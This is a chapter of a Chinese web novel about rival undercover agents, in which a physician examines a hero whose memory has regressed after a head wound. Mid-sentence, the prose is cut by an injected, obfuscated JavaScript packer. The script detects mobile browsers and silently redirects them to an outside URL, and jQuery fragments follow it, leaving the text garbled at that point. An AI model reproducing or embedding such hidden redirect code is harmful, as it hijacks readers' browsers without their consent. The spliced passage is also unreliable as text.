100. 第100回合

作品:《与死对头双双卧底后

    “过奖。”听到司清的夸赞,小厌从瑜也没有推脱,他这般,倒是与他长大的神情很像。


    “快到太守府了,我们进去接一下我的侍女,顺便跟那御史大夫告个别,那个穿着藏青色官服之人就是御史大夫,名叫奚正铭,反正你到时候能少说话便少说话,其余我应付着。”


    看着司清这般如临大敌,小厌从瑜也定定地点了点头。


    好在他幼时不是什么熊孩子,不然司清肯定一个头两个大了。


    说话间,大军的车轮便驶到了太守府的门口。


    他们到时,太守府门口施粥的铺子正好,奚正铭看着从马车上缓缓下来的众人,一言不发,转身回府。


    司清和小厌从瑜相识一眼,随后默默跟上。


    走到大厅后,奚正铭转身,就这么静静地打量着面前的这二人,眼神中渐渐显现出一番狐疑。


    “说吧,你们二人此番这是又要干什么。”


    司清自然也是感觉到了奚正铭对于她们二人的戒备与怀疑,她清了清嗓子,未等厌从瑜开口后便说道。


    “赈灾一事现如今也走上正轨,山匪已除,军中受伤者不在少数,就连贺小将军也挂了彩,我们便打算回京疗养。此番前来,便是向奚大人辞行的。”


    一旁的厌从瑜闻言也是一脸认真地点了点头,随后便没有再做声,只是他的目光从始至终便一直默默地停留在身旁的司清身上,比起从前的他显得更是大胆几分。


    奚正铭看着她们二人,总觉得有些不对劲,但又不知道这不对劲从何而起,因而只能摆摆手,应允了她们。


    “走吧。”


    反正他现在手上的线索断了,只能把这太守的后事处理了,随后再将这些灾民安抚了再说。


    不过这贺从瑜跑得了和尚跑不了庙,只要他还在官场一天,他就有把握能把他揪出来。


    见奚正铭没有察觉出什么不妥,司清面上一喜,随后便去找上云竹月影,将几人带了回来。


    云竹和月影上了马车,看着面前紧紧贴着司清坐着,有些拘谨的厌从瑜,更是觉得有些怪怪的。


    云竹悄悄附耳司清道。“堂主,他这是怎么了?”月影见状虽然按兵不动,但注意力也全放在了二人身上,毕竟对她来说,马车内的对话自然是尽收耳底。


    听到云竹问这个,司清忍不住扶额,“此事说来话长,你们就当他是失忆了吧。”


    云竹虽有见状虽有惊诧,但也还是楞楞地点了点头。


    “好……”真是古怪,她们这才不在多久,这厌堂主就变成这样了,看来在那玉虎山上定是发生了什么,不然也不会至此。


    小厌从瑜不识得她们二人,只认识司清,因而见有外人在,也一直一言不发,马车内便陷入了长久的沉默。


    ·


    回到太尉府后,面对厌从瑜这般让人头疼的状况,司清便找了贺小将军托话,说是厌从瑜身体不适,自己照顾他,就不去拜见太尉了,总之能拖一时是一时。


    随后司清便直接拖着厌从瑜去找云复看病去了。


    着急的司清拽着小厌从瑜的衣袖,直接一把推开了云复的房门。


    让司清没想到的是,今日出现的却是云胥,见到司清的出现,居然还有厌从瑜,他眼底不禁露出一份惊讶。他连忙放下手中的器材,起身就朝着二人走了过来,一边走还不忘将手叉在胸前,打趣二人道


    “乖乖,你这是什么情况,怎么把他也带过来了?”


    听着这熟悉的嗓音,再加上这不正经的玩笑话,司清不禁无奈地摇了摇头。


    “快把云复喊出来,我有正事找他。”


    听到司清直奔云复而来,那云胥不禁装作一副很是受伤的样子,他一只手扶额,一只手宛若西子抱心般,颇为难过地说道。


    “太伤心了,小清儿竟然找的不是我。罢了,我这就离开。”


    司清:“……”


    小厌从瑜更是在一旁看愣了,世间竟然有如此怪异之人,让他不禁皱了皱眉头,拉了下司清的衣袖想要提醒她小心。


    然而令他没想到的是,司清却还以为他是有些害怕这云胥,因而司清对他浅浅一笑,牵起他的手拍了拍安慰他道。


    “没事,不怕。”


    很快,云胥的人格便切换成了云复,他看着这凌乱的工作台,不禁皱了皱眉,不过随后他还是忍住了自己,转而看向司清道。


    “何事。”话音未落,云胥的目光便又触及到司清身后的厌从瑜身上,见他神色有些戒备,云胥便明白了什么,他想来司清找他的事应该跟他脱不了干系,不然她也不会带他来此了。


    司清刚想开口,可看了看门还没关,想着兹事体大,便又去将门老老实实地关上后,这才回来找云复。


    她看了一眼云复,随后又看了看厌从瑜,神随后色凝重地说道。


    “你帮他看看吧,自从在山上伤到头后他就昏迷了三天,记忆和神智也回退到了十年前。”


    说完,司清轻轻推了推小厌从瑜,示意他上前。


    小厌从瑜见状还有些防备,末了,在司清的眼神鼓励下,他才缓缓走了过去。


    "伸手。"云胥看着面前的厌从瑜,拿出了专用的垫子,缓缓开口道。


    小厌从瑜不知道为何,看到面前这个男子让他隐隐生出一种危机感,明明他衣着是那般的怪异,可神情却很自若,看起来身份也不简单。


    但碍于是司清让他给自己诊治的,小厌从瑜想了想又将手放了上去,毕竟先生说的成亲从妻,更何况她比他大,他确实该听她的,因而小厌从瑜再不情愿,也还是乖乖地将自己的手放了上去。


    云复见状也没说什么,随后便将自己的手搭上去诊脉。


    他不诊不要紧,一诊,便眉头紧蹙,看来他是知道了什么了,随后他又让厌从瑜张开嘴伸出舌头,他看了看,垂下眸子,更加确定了自己的想法。


    但碍于厌从瑜在这里,他不好直说,便找了个由头将他调离这里。


    云复龙飞凤舞地写下几个方子,递给了厌从瑜。“你去找个丫鬟,让她去弄这几个药材按方子上写的法子给你煎药。”


    小厌从瑜在这里倒也没有起疑心,毕竟他自己受伤总不可能劳烦夫人替他跑前跑后吧,因而他转身便离开了这里。


    司清自然也是明白云复此番是为何,因而等小厌从瑜前脚刚走,她便收回了目送他出门的目光,急切地开口问道。


    “他的情况如何?”


    云复看着她这副心急如焚的样子,缓缓地摇了摇头。“一时半会好不了,我给他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196115|154061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开了几副有助于恢复的方子,剩下的就是靠他自己了,他恢复得快那便是快,慢的话就不好说了。


    说着,云复抬眸看了司清一眼,见她神情凝重,便又话锋一转,默默地补充了一句。


    “你或许可以说一些他十岁之后重要的事情,最好是他情绪较为激动的,比较刻骨铭心的,又或者是他记忆深刻的事情,或许有助于他记忆和神智的恢复。”


    听到这里,司清沉默了,毕竟,之前在阁里她和他的交集不算多,真正开始有所交集的便是二公子的生辰宴了。


    再说这情绪激动么……除了他和几个贺家公子争风吃醋以外便是她们二人间的事情了……想到这里,司清不禁面上一红。


    这不是教坏小朋友么,万一他没恢复呢?想了想她还是放弃了这个念头。


    见司清似乎有些犹豫,云复看了看,又继续补充道。


    “不过还有个铤而走险的法子,那就是拿着他的头再撞一次。”


    听到云复这么说,司清忍不住眉头一抽,悄悄吐槽道。


    “你确定这是救人的法子么?不是夹带私货?”


    虽然之前在阁里的时候,她就能感觉到这厌从瑜和云复之间总有一种微妙的敌对感,但现如今厌从瑜跟她达成了友好协定,上次又救了她一命,让她夹在中间有些尴尬。


    云复见状也只是抬眸看了她一眼,随后垂眸,像说一件稀松平常的事情般继续道。


    “嗯……都说了是迫不得已的法子……如果你实在是十万火急的话。”


    司清见状不由得抿了抿唇,她没想到这紧要关头的云复竟也开起冷笑话来了。


    随后司清像是想起什么来,连忙对云复说道。


    “对了。话说回来我也中了毒,虽然说毒在山上已经解了,你帮我看看还有没有什么残留,顺带给我一副避孕的方子吧。”说着,她也将自己的手伸到云复的手垫上。


    听到这里云复不禁微微一愣,再结合司清所说的方子,很难不猜到她中的是什么毒。


    “情毒?”云复皱了皱眉,他的话语间虽然有抹让人难以察觉的忧心,但他还是将自己的手搭在司清手上替她诊脉了。


    司清点点头,不知为何她在云复面前总有一种被大人抓包的感觉,或许因为他比起云胥起来更像一个专业的郎中吧,若是云胥的话,性子像个大姨,顶多责怪她几句,但还是会刀子嘴豆腐心的替她整理好后事罢了。


    “是……”


    见司清有些不好意思地承认了,云复也没有半分不自然,而是就事论事地说道。


    “这毒很不一般么?”毕竟若是一般情毒的话,放放血冲冲冰水毒性可削弱不少,对她来说不至于要临时找个男人解决才对。


    虽然从眼下的情况来看,他也能猜到那个被司清利用的男子应该是厌从瑜无疑了。


    像是被云复看透一般,司清不好意思地点了点头,随后继续道。


    “确实,那毒性很猛,我放血效用也微乎其微,若是一直放血的话,恐怕就要流血身亡了。”“当时情况紧急……你又不在,我只能出此下策了。”


    说完,司清还偷偷看了一眼云复,似乎是想看他作何反应。


    毕竟这还不是一般事,作为好友,云复出言担心她也是正常。